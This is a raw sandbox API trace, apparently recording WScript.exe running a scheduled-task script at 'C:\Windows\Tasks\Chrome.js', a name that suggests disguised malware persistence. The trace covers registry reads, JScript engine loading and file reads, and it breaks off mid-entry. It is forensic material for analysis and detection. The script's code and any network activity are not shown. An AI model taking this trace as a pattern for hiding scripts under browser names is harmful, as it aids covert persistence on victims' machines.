"\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 1819 start_va = 0x26b0000 end_va = 0x26b3fff entry_point = 0x26b0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1820 start_va = 0x38d0000 end_va = 0x3935fff entry_point = 0x38d0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1821 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1857 start_va = 0x26c0000 end_va = 0x26c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026c0000" filename = "" Thread: id = 129 os_tid = 0x844 [0157.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f840 | out: lpSystemTimeAsFileTime=0x16f840*(dwLowDateTime=0x906fe430, dwHighDateTime=0x1d4a74f)) [0157.245] GetCurrentProcessId () returned 0x8dc [0157.245] GetCurrentThreadId () returned 0x844 [0157.245] GetTickCount () returned 0x33e08 [0157.245] QueryPerformanceCounter (in: lpPerformanceCount=0x16f848 | out: lpPerformanceCount=0x16f848*=1823065500000) returned 1 [0157.245] GetStartupInfoA (in: lpStartupInfo=0x16f860 | out: lpStartupInfo=0x16f860*(cb=0x68, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffffffffffff, hStdOutput=0xffffffffffffffff, hStdError=0xffffffffffffffff)) [0157.246] GetModuleHandleA (lpModuleName=0x0) returned 0xff6b0000 [0157.246] GetModuleHandleA (lpModuleName=0x0) returned 0xff6b0000 [0157.246] GetVersionExA (in: lpVersionInformation=0x16f780*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x2f1e20, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x16f780*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0157.246] GetUserDefaultLCID () returned 0x409 [0157.247] CoInitialize (pvReserved=0x0) returned 0x0 [0157.260] GetCommandLineW () returned="C:\\Windows\\System32\\WScript.exe \"C:\\Windows\\Tasks\\Chrome.js\"" [0157.260] lstrlenW (lpString="C:\\Windows\\System32\\WScript.exe \"C:\\Windows\\Tasks\\Chrome.js\"") returned 60 [0157.296] GetCurrentThreadId () returned 0x844 [0157.296] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f4c8 | out: phkResult=0x16f4c8*=0x7c) returned 0x0 [0157.296] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f4c0 | out: phkResult=0x16f4c0*=0x80) returned 0x0 [0157.296] RegQueryValueExW (in: hKey=0x80, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x16e7c8, lpData=0x16ebd0, lpcbData=0x16e7c0*=0x400 | out: lpType=0x16e7c8*=0x0, lpData=0x16ebd0*=0x67, lpcbData=0x16e7c0*=0x400) returned 0x2 [0157.296] RegQueryValueExW (in: hKey=0x7c, lpValueName="Enabled", lpReserved=0x0, lpType=0x16e7c8, lpData=0x16ebd0, lpcbData=0x16e7c0*=0x400 | out: lpType=0x16e7c8*=0x0, lpData=0x16ebd0*=0x67, lpcbData=0x16e7c0*=0x400) returned 0x2 [0157.296] RegQueryValueExW (in: hKey=0x80, lpValueName="Enabled", lpReserved=0x0, lpType=0x16e7c8, lpData=0x16ebd0, lpcbData=0x16e7c0*=0x400 | out: lpType=0x16e7c8*=0x0, lpData=0x16ebd0*=0x67, lpcbData=0x16e7c0*=0x400) returned 0x2 [0157.296] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0157.352] RegCloseKey (hKey=0x80) returned 0x0 [0157.352] RegCloseKey (hKey=0x7c) returned 0x0 [0157.352] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f1e0 | out: phkResult=0x16f1e0*=0x7c) returned 0x0 [0157.352] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f1d8 | out: phkResult=0x16f1d8*=0x80) returned 0x0 [0157.352] RegQueryValueExW (in: hKey=0x80, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x16e4e8, lpData=0x16e8f0, lpcbData=0x16e4e0*=0x400 | out: lpType=0x16e4e8*=0x0, lpData=0x16e8f0*=0x0, lpcbData=0x16e4e0*=0x400) returned 0x2 [0157.352] RegQueryValueExW (in: hKey=0x7c, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x16e4e8, lpData=0x16e8f0, lpcbData=0x16e4e0*=0x400 | out: lpType=0x16e4e8*=0x0, lpData=0x16e8f0*=0x0, lpcbData=0x16e4e0*=0x400) returned 0x2 [0157.352] RegQueryValueExW (in: hKey=0x80, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x16e4e8, lpData=0x16e8f0, lpcbData=0x16e4e0*=0x400 | out: lpType=0x16e4e8*=0x0, lpData=0x16e8f0*=0x0, lpcbData=0x16e4e0*=0x400) returned 0x2 [0157.352] RegCloseKey (hKey=0x80) returned 0x0 [0157.352] RegCloseKey (hKey=0x7c) returned 0x0 [0157.353] GetACP () returned 0x4e4 [0157.353] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77b20000 [0157.353] GetProcAddress (hModule=0x77b20000, lpProcName="HeapSetInformation") returned 0x77b3c4a0 [0157.353] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0157.353] FreeLibrary (hLibModule=0x77b20000) returned 1 [0157.354] CoRegisterMessageFilter (in: lpMessageFilter=0x1edf80, lplpMessageFilter=0x1edf90 | out: lplpMessageFilter=0x1edf90*=0x0) returned 0x0 [0157.354] GetModuleFileNameW (in: hModule=0xff6b0000, lpFilename=0x16f520, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0157.354] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\WScript.exe", lpdwHandle=0x16ee70 | out: lpdwHandle=0x16ee70) returned 0x704 [0157.355] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\WScript.exe", dwHandle=0x0, dwLen=0x704, lpData=0x16e760 | out: lpData=0x16e760) returned 1 [0157.355] VerQueryValueW (in: pBlock=0x16e760, lpSubBlock="\\", lplpBuffer=0x16ee78, puLen=0x16ee74 | out: lplpBuffer=0x16ee78*=0x16e788, puLen=0x16ee74) returned 1 [0157.355] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x16eec8 | out: phkResult=0x16eec8*=0x7c) returned 0x0 [0157.355] RegQueryValueExW (in: hKey=0x7c, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x16e218, lpData=0x16e620, lpcbData=0x16e210*=0x400 | out: lpType=0x16e218*=0x0, lpData=0x16e620*=0x0, lpcbData=0x16e210*=0x400) returned 0x2 [0157.355] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ee80 | out: phkResult=0x16ee80*=0x80) returned 0x0 [0157.355] RegQueryValueExW (in: hKey=0x80, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x16ee44, lpData=0x16eec0, lpcbData=0x16ee40*=0x4 | out: lpType=0x16ee44*=0x0, lpData=0x16eec0*=0xf0, lpcbData=0x16ee40*=0x4) returned 0x2 [0157.355] RegQueryValueExW (in: hKey=0x80, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x16e218, lpData=0x16e620, lpcbData=0x16e210*=0x400 | out: lpType=0x16e218*=0x0, lpData=0x16e620*=0x0, lpcbData=0x16e210*=0x400) returned 0x2 [0157.355] RegQueryValueExW (in: hKey=0x7c, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x16ee44, lpData=0x16eec0, lpcbData=0x16ee40*=0x4 | out: lpType=0x16ee44*=0x0, lpData=0x16eec0*=0xf0, lpcbData=0x16ee40*=0x4) returned 0x2 [0157.355] RegQueryValueExW (in: hKey=0x7c, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x16e218, lpData=0x16e620, lpcbData=0x16e210*=0x400 | out: lpType=0x16e218*=0x1, lpData="1", lpcbData=0x16e210*=0x4) returned 0x0 [0157.355] lstrlenW (lpString="1") returned 1 [0157.355] lstrlenW (lpString="0") returned 1 [0157.355] lstrlenW (lpString="1") returned 1 [0157.355] lstrlenW (lpString="no") returned 2 [0157.355] lstrlenW (lpString="1") returned 1 [0157.355] lstrlenW (lpString="false") returned 5 [0157.355] RegCloseKey (hKey=0x80) returned 0x0 [0157.355] RegCloseKey (hKey=0x7c) returned 0x0 [0157.355] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x16eec8, lpdwDisposition=0x0 | out: phkResult=0x16eec8*=0x7c, lpdwDisposition=0x0) returned 0x0 [0157.355] RegQueryValueExW (in: hKey=0x7c, lpValueName="Timeout", lpReserved=0x0, lpType=0x16ee64, lpData=0x16eec0, lpcbData=0x16ee60*=0x4 | out: lpType=0x16ee64*=0x0, lpData=0x16eec0*=0xf0, lpcbData=0x16ee60*=0x4) returned 0x2 [0157.355] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x16e238, lpData=0x16e640, lpcbData=0x16e230*=0x400 | out: lpType=0x16e238*=0x1, lpData="1", lpcbData=0x16e230*=0x4) returned 0x0 [0157.355] lstrlenW (lpString="1") returned 1 [0157.355] lstrlenW (lpString="0") returned 1 [0157.355] lstrlenW (lpString="1") returned 1 [0157.355] lstrlenW (lpString="no") returned 2 [0157.355] lstrlenW (lpString="1") returned 1 [0157.356] lstrlenW (lpString="false") returned 5 [0157.356] RegCloseKey (hKey=0x7c) returned 0x0 [0157.356] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x16eec8, lpdwDisposition=0x0 | out: phkResult=0x16eec8*=0x7c, lpdwDisposition=0x0) returned 0x0 [0157.356] RegQueryValueExW (in: hKey=0x7c, lpValueName="Timeout", lpReserved=0x0, lpType=0x16ee64, lpData=0x16eec0, lpcbData=0x16ee60*=0x4 | out: lpType=0x16ee64*=0x0, lpData=0x16eec0*=0xf0, lpcbData=0x16ee60*=0x4) returned 0x2 [0157.356] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x16e238, lpData=0x16e640, lpcbData=0x16e230*=0x400 | out: lpType=0x16e238*=0x0, lpData=0x16e640*=0x31, lpcbData=0x16e230*=0x400) returned 0x2 [0157.356] RegCloseKey (hKey=0x7c) returned 0x0 [0157.356] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0157.356] lstrlenW (lpString="js") returned 2 [0157.356] lstrlenW (lpString="WSH") returned 3 [0157.356] LoadStringW (in: hInstance=0xff6b0000, uID=0x9c5, lpBuffer=0x16d930, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13 [0157.356] LoadTypeLib (in: szFile="C:\\Windows\\System32\\WScript.exe", pptlib=0x16e970*=0x0 | out: pptlib=0x16e970*=0x31d3a0) returned 0x0 [0157.362] ITypeLib:GetTypeInfoOfGuid (in: This=0x31d3a0, GUID=0xff6b58f0, ppTInfo=0x16e958 | out: ppTInfo=0x16e958*=0x31df78) returned 0x0 [0157.444] ITypeInfo:GetRefTypeOfImplType (in: This=0x31df78, index=0xffffffff, pRefType=0x16e950 | out: pRefType=0x16e950*=0xfffffffe) returned 0x0 [0157.444] ITypeInfo:GetRefTypeInfo (in: This=0x31df78, hreftype=0xfffffffe, ppTInfo=0xff6cf458 | out: ppTInfo=0xff6cf458*=0x31dfd0) returned 0x0 [0157.444] IUnknown:Release (This=0x31df78) returned 0x1 [0157.444] ITypeLib:GetTypeInfoOfGuid (in: This=0x31d3a0, GUID=0xff6b5950, ppTInfo=0x16e958 | out: ppTInfo=0x16e958*=0x31e028) returned 0x0 [0157.445] ITypeInfo:GetRefTypeOfImplType (in: This=0x31e028, index=0xffffffff, pRefType=0x16e950 | out: pRefType=0x16e950*=0xfffffffe) returned 0x0 [0157.445] ITypeInfo:GetRefTypeInfo (in: This=0x31e028, hreftype=0xfffffffe, ppTInfo=0xff6cf4d8 | out: ppTInfo=0xff6cf4d8*=0x31e080) returned 0x0 [0157.445] IUnknown:Release (This=0x31e028) returned 0x1 [0157.445] ITypeLib:GetTypeInfoOfGuid (in: This=0x31d3a0, GUID=0xff6b5960, ppTInfo=0x16e958 | out: ppTInfo=0x16e958*=0x31e0d8) returned 0x0 [0157.445] ITypeInfo:GetRefTypeOfImplType (in: This=0x31e0d8, index=0xffffffff, pRefType=0x16e950 | out: pRefType=0x16e950*=0xfffffffe) returned 0x0 [0157.445] ITypeInfo:GetRefTypeInfo (in: This=0x31e0d8, hreftype=0xfffffffe, ppTInfo=0xff6cf518 | out: ppTInfo=0xff6cf518*=0x31e130) returned 0x0 [0157.445] IUnknown:Release (This=0x31e0d8) returned 0x1 [0157.445] ITypeLib:GetTypeInfoOfGuid (in: This=0x31d3a0, GUID=0xff6b5910, ppTInfo=0x16e958 | out: ppTInfo=0x16e958*=0x31e188) returned 0x0 [0157.445] ITypeInfo:GetRefTypeOfImplType (in: This=0x31e188, index=0xffffffff, pRefType=0x16e950 | out: pRefType=0x16e950*=0xfffffffe) returned 0x0 [0157.445] ITypeInfo:GetRefTypeInfo (in: This=0x31e188, hreftype=0xfffffffe, ppTInfo=0xff6cf498 | out: ppTInfo=0xff6cf498*=0x31e1e0) returned 0x0 [0157.445] IUnknown:Release (This=0x31e188) returned 0x1 [0157.445] IUnknown:Release (This=0x31d3a0) returned 0x4 [0157.445] GetCurrentThreadId () returned 0x844 [0157.445] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0157.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xff6c1cf8, lpParameter=0x5d59a0, dwCreationFlags=0x0, lpThreadId=0x5d59c8 | out: lpThreadId=0x5d59c8*=0x15c) returned 0xd4 [0157.446] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x16ebb0*=0xcc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0157.459] CloseHandle (hObject=0xcc) returned 1 [0157.459] GetFullPathNameW (in: lpFileName="C:\\Windows\\Tasks\\Chrome.js", nBufferLength=0x104, lpBuffer=0x16ec40, lpFilePart=0x16ec30 | out: lpBuffer="C:\\Windows\\Tasks\\Chrome.js", lpFilePart=0x16ec30*="Chrome.js") returned 0x1a [0157.459] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey=".js", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e150 | out: phkResult=0x16e150*=0xe6) returned 0x0 [0157.459] RegQueryValueExW (in: hKey=0xe6, lpValueName=0x0, lpReserved=0x0, lpType=0x16e100, lpData=0x16e160, lpcbData=0x16e104*=0x800 | out: lpType=0x16e100*=0x1, lpData="JSFile", lpcbData=0x16e104*=0xe) returned 0x0 [0157.459] RegCloseKey (hKey=0xe6) returned 0x0 [0157.459] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="JSFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e150 | out: phkResult=0x16e150*=0xe6) returned 0x0 [0157.460] RegQueryValueExW (in: hKey=0xe6, lpValueName=0x0, lpReserved=0x0, lpType=0x16e100, lpData=0x16e9d0, lpcbData=0x16e104*=0x200 | out: lpType=0x16e100*=0x1, lpData="JScript", lpcbData=0x16e104*=0x10) returned 0x0 [0157.460] RegCloseKey (hKey=0xe6) returned 0x0 [0157.460] CLSIDFromString (in: lpsz="JScript", pclsid=0x16e948 | out: pclsid=0x16e948*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58))) returned 0x0 [0157.461] CoCreateInstance (in: rclsid=0x16e948*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff6b1800*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16e940 | out: ppv=0x16e940*=0x5d6750) returned 0x0 [0159.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16cb40 | out: lpSystemTimeAsFileTime=0x16cb40*(dwLowDateTime=0x91d753d0, dwHighDateTime=0x1d4a74f)) [0159.748] GetCurrentProcessId () returned 0x8dc [0159.748] GetCurrentThreadId () returned 0x844 [0159.748] GetTickCount () returned 0x3473c [0159.748] QueryPerformanceCounter (in: lpPerformanceCount=0x16cb48 | out: lpPerformanceCount=0x16cb48*=1823315800000) returned 1 [0160.276] __dllonexit () returned 0x7fef3920728 [0161.670] __dllonexit () returned 0x7fef3920780 [0161.670] __dllonexit () returned 0x7fef3920750 [0161.672] __dllonexit () returned 0x7fef39207b0 [0161.672] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000 [0161.674] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegisterTraceGuidsA") returned 0x77c5f570 [0161.675] EtwRegisterTraceGuidsA () returned 0x0 [0161.675] EtwRegisterTraceGuidsA () returned 0x0 [0161.675] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x16c730, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0161.680] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegOpenKeyExA") returned 0x7feff0fb5f0 [0161.680] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x16c898 | out: phkResult=0x16c898*=0x0) returned 0x2 [0161.684] GetVersion () returned 0x1db10106 [0161.759] GetUserDefaultLCID () returned 0x409 [0161.759] GetACP () returned 0x4e4 [0161.759] GetCurrentThreadId () returned 0x844 [0161.759] GetCurrentThreadId () returned 0x844 [0161.759] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e878 | out: phkResult=0x16e878*=0x104) returned 0x0 [0161.759] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegQueryValueExA") returned 0x7feff0fc480 [0161.759] RegQueryValueExA (in: hKey=0x104, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x16e870, lpData=0x16e868, lpcbData=0x16e860*=0x4 | out: lpType=0x16e870*=0x4, lpData=0x16e868*=0x1, lpcbData=0x16e860*=0x4) returned 0x0 [0161.760] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegCloseKey") returned 0x7feff100710 [0161.760] RegCloseKey (hKey=0x104) returned 0x0 [0161.760] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feffa40000 [0161.760] GetProcAddress (hModule=0x7feffa40000, lpProcName="CoGetObjectContext") returned 0x7feffa5c920 [0161.760] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffa40000 [0161.760] GetProcAddress (hModule=0x7feffa40000, lpProcName="CoCreateInstance") returned 0x7feffa67490 [0161.760] CoCreateInstance (in: rclsid=0x7fef398cba0*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef398cd80*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16e840 | out: ppv=0x16e840*=0x7feffc1a1b0) returned 0x0 [0161.762] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x16e800, nSize=0x27 | out: lpBuffer="") returned 0x0 [0161.762] GetUserDefaultLCID () returned 0x409 [0161.762] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0161.762] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x16e8a0, cchData=6 | out: lpLCData="1252") returned 5 [0161.762] IsValidCodePage (CodePage=0x4e4) returned 1 [0161.762] CoCreateInstance (in: rclsid=0x7fef3985d88*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef3985d98*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x5d6ac0 | out: ppv=0x5d6ac0*=0x3239a0) returned 0x0 [0161.762] IUnknown:AddRef (This=0x3239a0) returned 0x2 [0161.762] GetCurrentProcessId () returned 0x8dc [0161.762] GetCurrentThreadId () returned 0x844 [0161.762] GetTickCount () returned 0x34f18 [0161.762] ISystemDebugEventFire:BeginSession (This=0x3239a0, guidSourceID=0x7fef3985da8, strSessionName="JScript:00002268:00002116:18216856") returned 0x0 [0161.762] GetCurrentThreadId () returned 0x844 [0161.762] GetTickCount () returned 0x34f18 [0161.762] GetCurrentThreadId () returned 0x844 [0161.763] CreateFileW (lpFileName="C:\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x110 [0161.763] GetFileSize (in: hFile=0x110, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcb2 [0161.763] CreateFileMappingA (hFile=0x110, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb2, lpName=0x0) returned 0x114 [0161.763] MapViewOfFile (hFileMappingObject=0x114, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5a0000 [0161.764] GetVersionExA (in: lpVersionInformation=0x16ea50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xfdd73301, dwBuildNumber=0x7fe, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x16ea50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0161.764] IsTextUnicode (in: lpv=0x5a0000, iSize=3250, lpiResult=0x16ea40 | out: lpiResult=0x16ea40) returned 1 [0161.920] UnmapViewOfFile (lpBaseAddress=0x5a0000) returned 1 [0161.920] CloseHandle (hObject=0x114) returned 1 [0161.920] CloseHandle (hObject=0x110) returned 1 [0161.920] GetSystemDirectoryA (in: lpBuffer=0x16eac8, uSize=0x0 | out: lpBuffer="\x0cï\x16") returned 0x14 [0161.920] GetSystemDirectoryA (in: lpBuffer=0x5d5a90, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0161.920] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x7feff0e0000 [0161.920] GetProcAddress (hModule=0x7feff0e0000, lpProcName="SaferIdentifyLevel") returned 0x7feff0fe470 [0161.920] GetProcAddress (hModule=0x7feff0e0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7feff0ff9b0 [0161.921] GetProcAddress (hModule=0x7feff0e0000, lpProcName="SaferCloseLevel") returned 0x7feff0ff660 [0161.921] IdentifyCodeAuthzLevelW () returned 0x1 [0172.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16dc40 | out: lpSystemTimeAsFileTime=0x16dc40*(dwLowDateTime=0x98f6b110, dwHighDateTime=0x1d4a74f)) [0172.493] GetCurrentProcessId () returned 0x8dc [0172.493] GetCurrentThreadId () returned 0x844 [0172.493] GetTickCount () returned 0x375ea [0172.493] QueryPerformanceCounter (in: lpPerformanceCount=0x16dc48 | out: lpPerformanceCount=0x16dc48*=1824590300000) returned 1 [0172.494] GetVersionExA (in: lpVersionInformation=0x16da20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xf924f810, dwBuildNumber=0x7fe, dwPlatformId=0xf9240000, szCSDVersion="\xfe\x07") | out: lpVersionInformation=0x16da20*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0172.494] GetUserDefaultLCID () returned 0x409 [0172.494] IsFileSupportedName () returned 0x1 [0172.494] _wcsicmp (_String1=".vbs", _String2=".js") returned 12 [0172.494] _wcsicmp (_String1=".vbe", _String2=".js") returned 12 [0172.494] _wcsicmp (_String1=".js", _String2=".js") returned 0 [0172.497] GetSignedDataMsg () returned 0x0 [0172.497] GetCurrentProcess () returned 0xffffffffffffffff [0172.497] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x114, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16e280, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16e280*=0x140) returned 1 [0172.497] GetFileSize (in: hFile=0x140, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcb2 [0172.498] SetFilePointer (in: hFile=0x140, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.498] ReadFile (in: hFile=0x140, lpBuffer=0x5da4c0, nNumberOfBytesToRead=0xcb2, lpNumberOfBytesRead=0x16e260, lpOverlapped=0x0 | out: lpBuffer=0x5da4c0*, lpNumberOfBytesRead=0x16e260*=0xcb2, lpOverlapped=0x0) returned 1 [0172.498] CoInitialize (pvReserved=0x0) returned 0x1 [0172.498] CoCreateInstance (in: rclsid=0x7fef924f850*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef924f860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x16e1d0 | out: ppv=0x16e1d0*=0x5db5b0) returned 0x0 [0173.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16c3d0 | out: lpSystemTimeAsFileTime=0x16c3d0*(dwLowDateTime=0x99858390, 